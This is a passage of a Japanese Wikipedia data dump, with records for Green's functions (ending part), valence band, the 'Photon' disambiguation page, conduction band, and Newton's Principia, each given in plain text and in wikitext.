-\delta(\boldsymbol{r} - \boldsymbol{r'}) = -\frac{1}{(2\pi)^3}\int e^{i\boldsymbol{k}\cdot(\boldsymbol{r-r'})}d\boldsymbol{k}
</math>
<br>
両辺を比較すると、<br>
<math>
g(\boldsymbol{k,r'}) = \frac{e^{-i\boldsymbol{k}\cdot \boldsymbol{r'}}}{\boldsymbol{k}^2}
</math>
</ref>
。
これを[[逆フーリエ変換]]するとグリーン関数<math>G(\boldsymbol{r},\boldsymbol{r'})</math>が求まる。
:<math>G(\boldsymbol{r},\boldsymbol{r'})=\frac{1}{4\pi|\boldsymbol{r}-\boldsymbol{r'}|}</math>
よってポアソン方程式の解は次のように求まる。
:<math>\varphi(\boldsymbol{r})=\int \frac{\rho(\boldsymbol{r'})}{4\pi|\boldsymbol{r}-\boldsymbol{r'}|}d\boldsymbol{r'}</math>
以上のことから、位置<math>\boldsymbol{r}</math>の点電荷が別の位置<math>\boldsymbol{r'}</math>に作る静電ポテンシャルを表したものがグリーン関数であり、これを[[重ね合わせ]]たものが[[電荷分布]]<math>\rho(\boldsymbol{r})</math>の作る[[静電ポテンシャル]]<math>\varphi(\boldsymbol{r})</math>であることがわかる。
=== ダランベール演算子 ===
{{main|ダランベール演算子#グリーン関数}}
== グリーン演算子と形式論 ==
微分演算子を[[線型写像|線型演算子]] {{mvar|L}} と見て、微分方程式 {{math|''Lφ'' {{=}} −''ρ''}} を解きたいとき、一種の逆演算子 {{math|''L''{{sup|−1}}}} を求めることができれば、{{math|''φ'' {{=}} −''L''{{sup|−1}}''ρ''}} というように微分方程式を解くことができる。これは[[線型代数]]における連立方程式において、係数行列の逆行列を求めることができれば連立方程式を解くことができることと対応している。このような {{math|''L''{{sup|−1}}}} を'''グリーン演算子''' {{en|(Green's operator, Green operator)}} という。グリーン演算子を[[行列表示]]したときの[[行列要素]]を'''グリーン関数'''という。
このようにグリーン関数を抽象的な演算子と考えて取り扱うことには次のような利点がある。
*微分演算子や積分演算子だけでなく、[[第二量子化]]のような抽象的な演算子を用いた理論に対してもそのまま用いられる。それは定常状態の[[シュレーディンガー方程式]]において[[ハミルトニアン]]を第二量子化における演算子で書かれていると考えるだけである。
*複雑な関係式を簡潔に見通しよく書ける場合があり、一般的な性質の議論を見通し良く行える
=== シュレディンガー方程式 ===
例えば、方程式
:<math>(-\hat{H}_0 + E) | \phi \rangle = 0</math>
のグリーン演算子 {{math|{{hat|''G''}}{{sup|0}}}} が満たすべき方程式は
:<math>(-\hat{H}_0 + E) \hat{G}^0 = -1</math>
である。これを形式的に解くと
:<math>\hat{G}^0 = - \frac{1}{E - \hat{H}_0}</math>
である。このグリーン演算子を具体的に計算するには {{math|{{hat|''H''}}{{sub|0}}}} の固有ベクトルを用いて
:<math>\hat{G}^0 = - \sum_n \frac{1}{E - \hat{H}_0} | \phi_n \rangle \langle \phi_n | = - \sum_n \frac{1}{E - E_0} |\phi_n \rangle \langle \phi_n |</math>
のように展開する。ただし {{math|''E'' {{=}} ''E''{{sub|0}}}} となるときは発散してしまう。それを避けるため分母をわずかに虚数軸方向にずらすことでこの問題は解消される
:<math>\hat{G}_\pm^0 = \sum_n \frac{1}{E_0 -E \pm i \epsilon} |\phi_n \rangle \langle \phi_n |</math>
たとえば {{math|{{hat|''H''}}{{sub|0}} {{=}} −Δ}} の場合のグリーン演算子の行列要素は、固有値を {{math|''E'' {{=}} ''k''{{sup|2}}}} として、次のように書ける。
:<math>G_\pm^0(\boldsymbol{r},\boldsymbol{r}')
= \langle \boldsymbol{r} |\hat{G}_\pm^0 |\boldsymbol{r}' \rangle
= \frac{1}{4\pi|\boldsymbol{r}-\boldsymbol{r}'|} e^{\pm ik|\boldsymbol{r}-\boldsymbol{r}'|} </math>
ここで <math>G_+^0</math> は外向き、<math>G_-^0</math> は内向きの[[球面波]]で、波が {{math|'''r'''{{'}}}} から {{math|'''r'''}} へ伝播する様子を示すものである。
=== 散乱理論 ===
{{main|散乱理論|リップマン‐シュウィンガー方程式}}
[[散乱理論]]の形式論では、グリーン関数が用いられる。その基本方程式にもグリーン関数が含まれ、[[リップマン‐シュウィンガー方程式]]と呼ばれる。
:<math> | \psi^{(\pm)} \rangle = | \phi \rangle +\hat{G_0}^\pm \hat{V} |\psi^{(\pm)} \rangle \,</math>
=== 摂動論 ===
シュレーディンガー方程式を厳密に解く事は一般的に非常に困難な場合が多いが、近似に解く手法の一つとして[[摂動論]]がある。以下では摂動論におけるグリーン関数の形式理論について解説する。
系のハミルトニアン {{math|{{hat|''H''}}}} が無摂動項 {{math|{{hat|''H''}}{{sub|0}}}} と摂動項 {{math|{{hat|''V''}}}} の和で与えられた ({{math|{{hat|''H''}} {{=}} {{hat|''H''}}{{sub|0}} + {{hat|''V''}}}}) とする。無摂動ハミルトニアン {{math|{{hat|''H''}}{{sub|0}}}} に対して固有値方程式
:<math>\hat{H}_0 \phi_i^{(0)} = E^{(0)}_i \phi_i^{(0)}</math>
が成り立つ(例:[[ハートリー-フォック近似]]など)。
{{math|''ω'' − {{hat|''H''}}{{sub|0}}}} を微分作用素として考えると非摂動グリーン関数 {{math|''G'' {{sup|(0)}}(''ω'')}}は
以下のように定義される(ここでデルタ関数 {{math|''δ''(''x'' − ''x''{{'}})}} は形式的に {{math|1}} とした)。
:<math>(\omega - \hat{H}_0) G^{(0)}(\omega) = -1</math>
次に摂動ハミルトニアン {{math|{{hat|''V''}}}} で展開すると、
:<math>\begin{align}
G(\omega) &= G^{(0)}(\omega) + G^{(0)}(\omega) \hat{V} G^{(0)}(\omega) + G^{(0)}(\omega) \hat{V} G^{(0)}(\omega) \hat{V} G^{(0)}(\omega) + \dotsb \\
&= G^{(0)}(\omega) + G^{(0)}(\omega) \hat{V} G(\omega)
\end{align}</math>
この式の両辺に {{math|''ω'' − {{hat|''H''}}{{sub|0}}}} を作用させ変形すると、摂動グリーン関数は次の関係を満たしていることがわかる。
:<math>(\omega - \hat{H}_0 - \hat{V}) G(\omega) = -1</math>
また、この摂動グリーン関数が満たす関係式は
:<math>(\hat{H}_0 + \hat{V}) \psi_i = E_i \psi_i</math>
に対応している。
=== 場の量子論・物性論 ===
{{main|プロパゲーター|グリーン関数 (多体理論)}}
[[場の量子論]]や[[物性論]]においては、[[シュレーディンガー方程式]]に対するグリーン関数ではなくて、むしろ場の演算子に対する方程式に関連したものをグリーン関数と名付けて有効に用いている。それらの方程式は相互作用がない場合は、例えばスカラー場に対して[[クライン-ゴルドン方程式]]となるように、既に知られた方程式と同形のものになり、グリーン関数としても同じものとなる。しかし相互作用がある場合は方程式が非線形となり、摂動論的な扱いを除いて、古典的なグリーン関数の理論との対応を失う。<ref name = imamura> {{cite book | 和書 | author=今村勤 | title=物理とグリーン関数 | year=1976 | publisher=岩波書店 }}</ref>
== 脚注 ==
=== 注釈 ===
<references group="注釈" />
=== 出典 ===
<references />
== 関連記事 ==
*[[ヘルムホルツ方程式]]
*[[ラプラス方程式]]
*[[境界要素法]]
*[[インパルス応答]]
== 参考文献 ==
* 寺沢寛一:「自然科学者のための数学概論 増訂版」、岩波書店、ISBN 978-4000054805(1983年5月18日)# 第14章「境界値問題」。
* 小泉義晴:「現代工学のための量子物理学とグリーン関数 : 講義・演習ノート」,現代工学社, ISBN 978-4874721308(1987年1月25日)。
* 篠崎寿夫:「現代工学のための偏微分方程式とグリーン関数」,現代工学社,ISBN 978-4874721254 (1987年2月1日)。
* 篠崎寿夫:「現代工学のための常微分方程式とグリーン関数」,現代工学社,ISBN 978-4874721247 (1996年8月1日)。
* 今村勤: 「物理とグリーン関数」,岩波書店,ISBN 978-4000077194 (2016年2月18日)。
* V.D. Seremet: ”Handbook of Green's Functions and Matrices”, WIT Press, ISBN 978-1-85312-933-9 (2002).
* 小泉義晴:「微分方程式と量子統計力学のグリーン関数―講義・演習」,東海大学出版会,ISBN 978-4486018872 (2010年11月)。
* 村上雅人:「なるほどグリーン関数」,海鳴社,ISBN 978-4875253549(2021年5月20日)。
* 亀高惟倫, 永井敦, 山岸弘幸:「グリーン関数」, 裳華房,ISBN 978-4785315979 (2022年11月25日)。
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{{DEFAULTSORT:くりいんかんすう}}
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[[Category:関数]]
[[Category:数学に関する記事]]
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| https://ja.wikipedia.org/wiki/%E3%82%B0%E3%83%AA%E3%83%BC%E3%83%B3%E9%96%A2%E6%95%B0 |
6,864 | 価電子帯 | 価電子帯(かでんしたい、valence band)とは、絶縁体や半導体において、価電子によって満たされたエネルギーバンドのことである。
絶対零度において「電子を含む一番エネルギーの高いバンド」が完全に電子で満たされている場合、これを狭義の充満帯 (filled band) と呼ぶ。これは絶縁体や半導体にのみ存在する。特に共有結合型結晶の充満帯を、価電子帯と呼ぶ。価電子帯の頂上から伝導帯の底までのギャップが、バンドギャップである。半導体や絶縁体においては、バンドギャップ中にフェルミ準位が存在する。
金属では価電子を含むバンドに空き準位がある(バンド中にフェルミ準位がある)ため、価電子がそのまま伝導電子(自由電子)となる。これに対し、半導体や絶縁体においては通常、価電子にバンドギャップを超えるエネルギーを与えて価電子帯から伝導帯へ励起することで、初めて伝導電子を得られる。完全に電子で占有された価電子帯では、電流は流れない。
なお広義には、電子で満たされた全てのエネルギーバンドを充満帯と呼ぶ。
ダイヤモンド型構造あるいは閃亜鉛鉱型構造をとる半導体は、四面体方向に手が伸びているsp混成軌道によって元素同士が結合しており、その結合性軌道によって価電子帯は構成されている。一方、伝導帯は反結合性軌道によって構成されている。
s軌道とp軌道のエネルギー差が大きく、Γ点では軌道の混成がないため価電子帯上端付近はほぼp軌道の成分からなり、バンド図上では上に凸なエネルギー分散関係になる。スピン軌道相互作用やkp摂動を取り入れることでバンドの縮退が解け、重い正孔バンド、軽い正孔バンド、スプリットオフバンドに分かれる。これは3つのp軌道、つまりpx、py、pz軌道の軌道角運動量成分(軌道磁気量子数 m = -1, 0, 1)がそれぞれ異なることと、スピン角運動量(s = ± 1/2)を含めた全角運動量の違いに由来する。
シリコン(Si)やゲルマニウム(Ge)のような単一元素からなるIV族半導体と、ヒ化ガリウム(GaAs)やヒ化インジウム(InAs)のような複数の元素からなる化合物半導体では価電子帯を構成している軌道の成分に違いがある。基本的には、価電子帯は電気陰性度の大きい元素由来のsp混成軌道によって構成されている。
例えば、GaAsにおいてはGaとAsは共有結合で結合しているものの、同時にイオン性の結合も有している。電気陰性度の違いによりGa原子とAs原子に電荷の偏りが生じて電子はAs原子側に長い間滞在し、価電子がAs原子の軌道を占有する。すると、マーデルングポテンシャルによってAs由来のsp混成軌道とGa由来のsp混成軌道にエネルギー差が生じ、価電子帯はエネルギーの低いAs由来のsp混成軌道から構成されることになる。 | [
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| 価電子帯とは、絶縁体や半導体において、価電子によって満たされたエネルギーバンドのことである。 絶対零度において「電子を含む一番エネルギーの高いバンド」が完全に電子で満たされている場合、これを狭義の充満帯 と呼ぶ。これは絶縁体や半導体にのみ存在する。特に共有結合型結晶の充満帯を、価電子帯と呼ぶ。価電子帯の頂上から伝導帯の底までのギャップが、バンドギャップである。半導体や絶縁体においては、バンドギャップ中にフェルミ準位が存在する。 金属では価電子を含むバンドに空き準位がある(バンド中にフェルミ準位がある)ため、価電子がそのまま伝導電子(自由電子)となる。これに対し、半導体や絶縁体においては通常、価電子にバンドギャップを超えるエネルギーを与えて価電子帯から伝導帯へ励起することで、初めて伝導電子を得られる。完全に電子で占有された価電子帯では、電流は流れない。 なお広義には、電子で満たされた全てのエネルギーバンドを充満帯と呼ぶ。 | {{出典の明記|date=2017-11-02}}
[[ファイル:BandGap-Comparison-withfermi-J.PNG|thumb|250px|right|[[金属]]、および[[半導体]]・[[絶縁体]]の[[バンド構造]]の簡単な模式図]]
'''価電子帯'''(かでんしたい、valence band)とは、絶縁体や半導体において、[[価電子]]によって満たされた[[エネルギーバンド]]のことである。
絶対零度において「[[電子]]を含む一番エネルギーの高いバンド」が完全に電子で満たされている場合、これを狭義の'''充満帯''' (filled band) と呼ぶ。これは絶縁体や半導体にのみ存在する。特に共有結合型結晶の充満帯を、'''価電子帯'''と呼ぶ。価電子帯の頂上から[[伝導帯]]の底までのギャップが、[[バンドギャップ]]である。半導体や絶縁体においては、バンドギャップ中に[[フェルミエネルギー|フェルミ準位]]が存在する。
金属では[[価電子]]を含むバンドに空き準位がある(バンド中に[[フェルミ準位]]がある)ため、価電子がそのまま[[伝導電子]]([[自由電子]])となる。これに対し、半導体や絶縁体においては通常、価電子に[[バンドギャップ]]を超えるエネルギーを与えて価電子帯から[[伝導帯]]へ励起することで、初めて伝導電子を得られる。完全に電子で占有された価電子帯では、電流は流れない。
なお広義には、電子で満たされた全てのエネルギーバンドを充満帯と呼ぶ。
== 半導体の場合 ==
[[ダイヤモンド]]型構造あるいは[[閃亜鉛鉱]]型構造をとる半導体は、四面体方向に手が伸びている[[混成軌道|''sp<sup>3</sup>''混成軌道]]によって元素同士が結合しており、その[[結合性軌道]]によって価電子帯は構成されている。一方、伝導帯は[[反結合性軌道]]によって構成されている。
[[s軌道]]と[[p軌道]]のエネルギー差が大きく、''Γ''点では軌道の混成がないため価電子帯上端付近はほぼ[[p軌道]]の成分からなり、バンド図上では上に凸なエネルギー分散関係になる。[[スピン軌道相互作用]]や[[K·p摂動論|kp摂動]]を取り入れることでバンドの縮退が解け、重い[[正孔]]バンド、軽い正孔バンド、スプリットオフバンドに分かれる。これは3つのp軌道、つまり''p<sub>x</sub>''、''p<sub>y</sub>''、''p<sub>z</sub>''軌道の[[軌道角運動量]]成分(軌道磁気量子数 m = -1, 0, 1)がそれぞれ異なることと、スピン角運動量(''s'' = ± 1/2)を含めた[[全角運動量]]の違いに由来する。
[[ケイ素|シリコン]](Si)や[[ゲルマニウム]](Ge)のような単一元素からなるIV族半導体と、[[ヒ化ガリウム]](GaAs)や[[ヒ化インジウム]](InAs)のような複数の元素からなる[[化合物半導体]]では価電子帯を構成している軌道の成分に違いがある。基本的には、価電子帯は[[電気陰性度]]の大きい元素由来の[[混成軌道|''sp<sup>3</sup>''混成軌道]]によって構成されている。
例えば、GaAsにおいてはGaとAsは共有結合で結合しているものの、同時にイオン性の結合も有している。電気陰性度の違いによりGa原子とAs原子に電荷の偏りが生じて電子はAs原子側に長い間滞在し、価電子がAs原子の軌道を占有する。すると、[[マーデルングエネルギー|マーデルングポテンシャル]]によってAs由来の''sp<sup>3</sup>''混成軌道とGa由来の''sp<sup>3</sup>''混成軌道にエネルギー差が生じ、価電子帯はエネルギーの低いAs由来の''sp<sup>3</sup>''混成軌道から構成されることになる。
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6,865 | フォトン | フォトン | [
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| フォトン 光子 - 光の量子のこと。
フォトン (OVA) - OVA(オリジナルビデオアニメーション)。
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PHOTON - BOOM BOOM SATELLITESの3rdアルバム。
D4DJのユニット、フォトンメイデンの愛称。D4DJ#Photon Maidenを参照。
光の戦士フォトン - 1980年代の光線銃や日米特撮テレビ番組。 フォトン (人工衛星) - 旧ソ連及びロシアが運用する科学衛星。ロシア語: Фотон
フォトン (カメラ) - ベル&ハウエル社のカメラ。
福田汽車 - 中国の商用車メーカー。
フォートン - 日本のデジタルイメージング専門会社。 | '''フォトン'''
;Photon
*[[光子]] - [[光]]の[[量子]]のこと。
*[[フォトン (OVA)]] - [[OVA]](オリジナルビデオアニメーション)。
*[[ISW11M|MOTOROLA PHOTON]] - [[KDDI]]・[[沖縄セルラー電話]][[連合]](各[[au (通信)|au]])から発売された[[モバイルWiMAX|Wimax]]及び3G([[CDMA2000]]/[[EV-DO]])対応[[スマートフォン]]。
*[[PHOTON]] - [[BOOM BOOM SATELLITES]]の3rdアルバム。
*[[D4DJ]]のユニット、フォトンメイデンの愛称。[[D4DJ#Photon Maiden(フォトン メイデン)]]を参照。
*{{仮リンク|光の戦士フォトン|en|Photon (TV series)}} - 1980年代の[[光線銃]]や日米[[特撮]][[テレビ番組]]。
;Foton
*[[フォトン (人工衛星)]] - 旧[[ソ連]]及び[[ロシア]]が運用する[[科学衛星]]。{{lang-ru|Фотон}}
*[[フォトン (カメラ)]] - ベル&ハウエル(Bell & Howell)社のカメラ。
*[[福田汽車]] - 中国の商用車メーカー。
*[[フォートン]] - 日本のデジタルイメージング専門会社。
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6,866 | 伝導帯 | 伝導帯(でんどうたい、Conduction band)は、バンドギャップのある系において、バンドギャップの直上にある、空のバンドのこと。バンドギャップのない場合にも、価電子帯、伝導帯の区別ができる場合がある(例:半金属)。しかし、純然たる金属のバンドにおいては、価電子帯、伝導帯の区別が判然としない(区別できない)場合もある。 | [
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'''伝導帯'''(でんどうたい、Conduction band)は、[[バンドギャップ]]のある系において、バンドギャップの直上にある、空のバンドのこと。バンドギャップのない場合にも、[[価電子帯]]、伝導帯の区別ができる場合がある(例:[[半金属 (バンド理論)|半金属]])。しかし、純然たる金属のバンドにおいては、価電子帯、伝導帯の区別が判然としない(区別できない)場合もある。
==関連項目==
*[[物理学]]
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[[category:電子]]
[[Category:電子状態]]
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"Template:半導体"
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| https://ja.wikipedia.org/wiki/%E4%BC%9D%E5%B0%8E%E5%B8%AF |
6,868 | 自然哲学の数学的諸原理 | 『自然哲学の数学的諸原理』(しぜんてつがくのすうがくてきしょげんり、羅: Philosophiæ Naturalis Principia Mathematica)は、アイザック・ニュートンの著書で、ニュートン力学体系の解説書である。1687年7月5日刊、全3巻。古典力学の基礎を築いた画期的なもので、近代科学における最も重要な著作の1つ。運動の法則を数学的に論じ、天体の運動や万有引力の法則を扱っている。Principia という略称でもよく知られている。日本語では『自然哲学の数学的原理』、『プリンキピア』、あるいは『プリンシピア』とも表記される(岡邦雄訳、春秋社、1930年や、中野猿人訳、講談社、1977年等)。
この本が出版されたきっかけ・動機としてはエドモンド・ハレーとのやりとりがあるという。1684年の夏、ハレーがケンブリッジ大学を訪問した折に「惑星が距離の平方に反比例する力で太陽に引き寄せられると仮定した場合、惑星が描く曲線はどのようなものであろうか?」とニュートンに質問したことだという。この質問に対してニュートンは「楕円だろう」と即答した。ニュートンはそれ以前に自分自身でそうした計算を試みたことがあり、すでに答えを得ていたのだという。
そしてニュートンは1684年11月頃、ハレーに「回転している物体の運動について」という論文を送付した。これを読んだハレーがニュートンにこの論文を含めたニュートンの力学研究の成果を出版することを薦め、同論文はプリンキピア第一巻の骨子となり、1687年の夏頃、500ページ余りの初版が出版されることとなった。なお、ニュートンにはキリスト教的で神による秩序立てられた世界観を示そうとする神学的な動機があったことも明らかになっている。いずれにせよ、ニュートンのこの書物への情熱、精進は凄まじいもので、18か月に及ぶ執筆期間中は食事も忘れるほどの極度の集中ぶりだったという。
1687年に初版が出版され、1713年には第二版が、1726年にヘンリー・ペンバートンが編纂した第三版が出された。
原文はラテン語で書かれている。全3巻のタイトルおよび要点は以下のとおり。
全巻を通して、数学的な道具としては原則的にユークリッドの『原論』を用いている。さらに展開の形式も『原論』を踏襲しており、公理論的な形式を採用している。最初に公理を示し、それを使って証明するというやり方で進んでいく方式である。
当時、研究が進み始めていた微分・積分を用いず、極力ユークリッド幾何学のみを用いて解説しようとしたため、大部の内容となっている。これは、執筆当時、微分や積分の内容(絶対時間)や表記法をめぐってプロイセンのゴットフリート・ライプニッツらと争っていたためと推測されている。時間と空間の捉え方も2人の見解が大幅に相違しており、互いに衝突していた(空間の記事も参照のこと)。ただし、一部ではあるが代数解析を用いている箇所がある。
同書は出版当時から非常に難解な内容だとされた。これは諸事情(ニュートンは過去に批判された経験から、批判に非常に敏感になっており批判を少なくするために意図的に難しくしたこと)によって採用された数学的手法が複雑であることも一因であった。同書の出版によって古典力学の基礎が築かれたが、自然哲学が一般の素人には近づきにくいものともなった。
第三巻で示された世界観はキリスト教擁護のために活用された。ニュートンの友人であるボイルの遺産をもとに行われるようになったボイル・レクチャーズ(en:Boyle Lectures)という一連の講義において、自然(宇宙)が数学的に秩序立っていることを同書を用いて説明し、それにより神が存在していることが説かれた。
第二巻の「抵抗のある媒質中における物体の運動」は、その内容にもかかわらず、用いられた数学的道具がユークリッド幾何学だけであったことにより説明不足となっていた部分もあった。大陸側ではライプニッツの数学的手法を継承する自然哲学者たちがおり、ニュートンが同書で用いた数学的手法をライプニッツ流の微分積分学で書き換える作業を行った。これにより、第二巻の「抵抗のある媒質中における物体の運動」は当初ニュートンによって書かれていたよりも、かなり厳密に説明されるようになった。
18世紀にはラグランジュがニュートン力学以後の力学の研究成果を統合し『解析力学』(1788)にまとめることになった(解析力学。ラグランジュ力学)。
英語圏やラテン語圏では、プリンキピアは古典名著の1つとして数多くの古典体系の中に入れられている。
ニュートンの存命中からプリンキピアは難解だと評されたが、今日においても同書の解説書(講義録)をシカゴ大学の名誉教授であるスブラマニアン・チャンドラセカールやケンブリッジ大学のスティーブン・ホーキングが出版している。
日本語訳は、全文が講談社、中央公論社から出版されており、チャンドラセカールの講義録は、講談社から出版されている(下の参考文献の節に示す)。ホーキングによる講義録は出版されていない。 | [
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| 『自然哲学の数学的諸原理』は、アイザック・ニュートンの著書で、ニュートン力学体系の解説書である。1687年7月5日刊、全3巻。古典力学の基礎を築いた画期的なもので、近代科学における最も重要な著作の1つ。運動の法則を数学的に論じ、天体の運動や万有引力の法則を扱っている。Principia という略称でもよく知られている。日本語では『自然哲学の数学的原理』、『プリンキピア』、あるいは『プリンシピア』とも表記される(岡邦雄訳、春秋社、1930年や、中野猿人訳、講談社、1977年等)。 | {{Otheruses|アイザック・ニュートンの著作|アルフレッド・ノース・ホワイトヘッドとバートランド・ラッセルの著作|プリンキピア・マテマティカ}}
{{Redirect|プリンキピア|シミュレーションゲーム|PRINCIPIA}}
{{基礎情報 書籍
|title = 『自然哲学の数学的諸原理』
|orig_title = Philosophiæ Naturalis Principia Mathematica
|image = Newton-Principia-Mathematica 1-500x700.jpg
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|image_caption = 初版のとびら
|author = [[アイザック・ニュートン]]
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|portal1 = 物理学
}}
[[ファイル:NewtonsPrincipia.jpg|thumb|right|ニュートン所有のプリンキピアの初版。ニュートンの手書きで文字が書き込んである。第二版で修正・加筆する箇所の指示である。]]
『'''自然哲学の数学的諸原理'''』(しぜんてつがくのすうがくてきしょげんり、{{lang-la-short|Philosophiæ Naturalis Principia Mathematica}})は、[[アイザック・ニュートン]]の著書で、[[ニュートン力学|ニュートン力学体系]]の解説書である。[[1687年]]7月5日刊、全3巻。[[古典力学]]の基礎を築いた画期的なもので、近代科学における最も重要な著作の1つ。運動の法則を数学的に論じ、[[天体]]の運動や[[万有引力|万有引力の法則]]を扱っている。''Principia'' という略称でもよく知られている。日本語では『'''自然哲学の数学的原理'''』、『'''プリンキピア'''』、あるいは『'''プリンシピア'''』とも表記される([[#岡1930|岡邦雄訳、春秋社、1930年]]や、[[#中野1977|中野猿人訳、講談社、1977年]]等)。
== 出版の経緯 ==
この本が出版されたきっかけ・動機としては[[エドモンド・ハレー]]とのやりとりがあるという。[[1684年]]の夏、ハレーが[[ケンブリッジ大学]]を訪問した折に「惑星が距離の平方に反比例する力で太陽に引き寄せられると仮定した場合、惑星が描く曲線はどのようなものであろうか?」とニュートンに質問したことだという。この質問に対してニュートンは「[[楕円]]だろう」と即答した。ニュートンはそれ以前に自分自身でそうした計算を試みたことがあり、すでに答えを得ていたのだという。
そしてニュートンは[[1684年]]11月頃、ハレーに「回転している物体の運動について」という論文を送付した。これを読んだハレーがニュートンにこの論文を含めたニュートンの力学研究の成果を出版することを薦め、同論文はプリンキピア第一巻の骨子となり、[[1687年]]の夏頃、500ページ余りの初版が出版されることとなった。なお、ニュートンには[[キリスト教]]的で神による秩序立てられた世界観を示そうとする[[神学]]的な動機があったことも明らかになっている。いずれにせよ、ニュートンのこの書物への情熱、精進は凄まじいもので、18か月に及ぶ執筆期間中は食事も忘れるほどの極度の集中ぶりだったという<ref>{{Cite book |和書 |last= |first= |author=木原武一 |authorlink=木原武一 |year=1994 |title=天才の勉強術 |publisher=[[新潮選書]] |page= |id= |isbn= |quote= }}</ref>。
1687年に初版が出版され、1713年には第二版が、1726年に[[ヘンリー・ペンバートン]]が編纂した第三版が出された。
== 内容 ==
[[Image:Principia Page 1726.jpg|thumb|right|ページの例(1726年版)]]
原文は[[ラテン語]]で書かれている。全3巻のタイトルおよび要点は以下のとおり。
;第1巻 物体の運動について
:[[真空]]中の物体の運動法則
;第2巻 物体の運動について
:抵抗のある[[媒質]]の中での物体の運動法則
;第3巻 世界の体系について
:現実の宇宙の数学的なしくみを扱っており、[[地球]]上の物体であれ、太陽のまわりをまわる[[惑星]]であれ、[[彗星]]であれ、その位置が、[[万有引力|万有引力の数学的法則]]によって統一的に説明できることを示している。
全巻を通して、数学的な道具としては原則的に[[ユークリッド]]の『[[原論]]』を用いている。さらに展開の形式も『原論』を踏襲しており、[[公理論]]的な形式を採用している。最初に[[公理]]を示し、それを使って証明するというやり方で進んでいく方式である。
当時、研究が進み始めていた[[微分]]・[[積分]]を用いず、極力[[ユークリッド幾何学]]のみを用いて解説しようとしたため、大部の内容となっている。これは、執筆当時、微分や積分の内容([[絶対時間]])や表記法をめぐってプロイセンの[[ゴットフリート・ライプニッツ]]らと争っていたためと推測されている。時間と[[空間]]の捉え方も2人の見解が大幅に相違しており、互いに衝突していた([[空間]]の記事も参照のこと)。ただし、一部ではあるが代数解析を用いている箇所がある。
{{seealso|ニュートン力学}}
== 出版時の逸話 ==
*当初、[[王立協会]]は同書の出版について資金提供などを行うと確約していたが、編纂が終了し、いよいよ出版という段になって王立協会が深刻な予算難に陥り(全くといっていいほど売れなかった書籍のために費やされてしまっていたといわれる)、王立協会からの資金提供を受けられなくなってしまったことから、已む無くエドモンド・ハレーが出版費用を工面した上での[[自費出版]]にせざるを得なかった。
*出版に際し、[[ロバート・フック]]から剽窃であるなどと批判を受けた。この件について執筆するきっかけを作った[[エドモンド・ハレー]]が仲裁に入り、ニュートンにフックへの謝辞を同書に載せるよう勧めたが、ニュートンがこれを拒否し、該当部分に注釈が入るに留まった、というエピソードがある。
== 反応・受容・改訂 ==
[[File:Newton's Annotated copy of his Principia Mathematica.jpg|thumb|<!--Newton's personal copy of the first edition of ''Philosophiæ Naturalis Principia Mathematica'', annotated by him for the second edition. Displayed at [[Cambridge University Library]].-->]]
同書は出版当時から非常に難解な内容だとされた。これは諸事情(ニュートンは過去に批判された経験から、批判に非常に敏感になっており批判を少なくするために意図的に難しくしたこと)によって採用された数学的手法が複雑であることも一因であった。同書の出版によって[[古典力学]]の基礎が築かれたが、[[自然哲学]]が一般の素人には近づきにくいものともなった。
第三巻で示された世界観は[[キリスト教]]擁護のために活用された。ニュートンの友人である[[ロバート・ボイル|ボイル]]の遺産をもとに行われるようになった[[ボイル・レクチャーズ]]([[:en:Boyle Lectures]])という一連の講義において、[[自然]](宇宙)が数学的に秩序立っていることを同書を用いて説明し、それにより[[神]]が存在していることが説かれた<ref>関連資料:[http://www.ccel.org/ccel/schaff/encyc02.html?term=Boyle,%20Robert,%20and%20the%20Boyle%20Lectures Boyle, Robert, and the Boyle Lectures], in [[:en:Schaff-Herzog Encyclopedia of Religious Knowledge|The New Schaff-Herzog Encyclopedia of Religious Knowledge]], Vol. II ([[:en:Christian Classics Ethereal Library|CCEL]])</ref><ref>関連資料:[http://www.bun.kyoto-u.ac.jp/~sashina/sub5o4.pdf キリスト教思想における自然諸問題(京都大学、芦名研究室)]</ref>。
第二巻の「抵抗のある媒質中における物体の運動」は、その内容にもかかわらず、用いられた数学的道具がユークリッド幾何学だけであったことにより説明不足となっていた部分もあった。大陸側では[[ゴットフリート・ライプニッツ|ライプニッツ]]の数学的手法を継承する[[自然哲学者]]たちがおり、ニュートンが同書で用いた数学的手法をライプニッツ流の[[微分]][[積分]]学で書き換える作業を行った。これにより、第二巻の「抵抗のある媒質中における物体の運動」は当初ニュートンによって書かれていたよりも、かなり厳密に説明されるようになった。
18世紀には[[ジョゼフ=ルイ・ラグランジュ|ラグランジュ]]がニュートン力学以後の力学の研究成果を統合し『[[解析力学 (ラグランジュ)|解析力学]]』(1788)にまとめることになった([[解析力学]]。[[ラグランジュ力学]])。
== 現在の諸版や解説書 ==
英語圏やラテン語圏では、プリンキピアは[[古典]]名著の1つとして数多くの古典体系の中に入れられている。
ニュートンの存命中からプリンキピアは難解だと評されたが、今日においても同書の解説書(講義録)を[[シカゴ大学]]の名誉教授である[[スブラマニアン・チャンドラセカール]]や[[ケンブリッジ大学]]の[[スティーブン・ホーキング]]が出版している。
日本語訳は、全文が[[講談社]]、[[中央公論新社|中央公論社]]<ref>[[#河辺1979|「世界の名著」シリーズ]]</ref>から出版されており、[[#チャンドラセカール1998|チャンドラセカールの講義録]]は、講談社から出版されている(下の[[#参考文献|参考文献]]の節に示す)。ホーキングによる講義録は出版されていない。
== 日本語訳 ==
*{{Cite book|和書|author=ニウトン|others=[[岡邦雄]] 訳|year=1930|title=プリンシピア|series=世界大思想全集 第6巻|publisher=春秋社|id={{近代デジタルライブラリー|1180075}}|ref=岡1930}}
*{{Cite book|和書|author=ニユートン|others=岡邦雄 訳|year=1933|title=プリンシピア|volume=上・下|series=春秋文庫 第3部 第43・44巻|publisher=春秋社|id={{近代デジタルライブラリー|1216216}} {{近代デジタルライブラリー|1216226}}|ref=岡1933}}
*{{Cite book|和書|author=ニュートン|others=河辺六男 訳・責任編集|date=1971|title=世界の名著 26|volume=ニュートン|publisher=中央公論社|isbn=978-4-12-400106-8|ref=河辺1971}}
**{{Cite book|和書|author=ニュートン|others=河辺六男 訳・責任編集|date=1979-05-19|title=世界の名著 31|series=中公バックス|publisher=中央公論社|isbn=978-4-12-400641-4|ref=河辺1979}}
*{{Cite book|和書|author=アイザック・ニュートン|others=[[中野猿人]] 訳・注|year=1977|month=9|title=プリンシピア 自然哲学の数学的原理|publisher=講談社|isbn=978-4-06-122139-0|ref=中野1977}}
**{{Cite book|和書
|author=アイザック・ニュートン
|others=中野猿人 訳・注
|date=2019-06-20
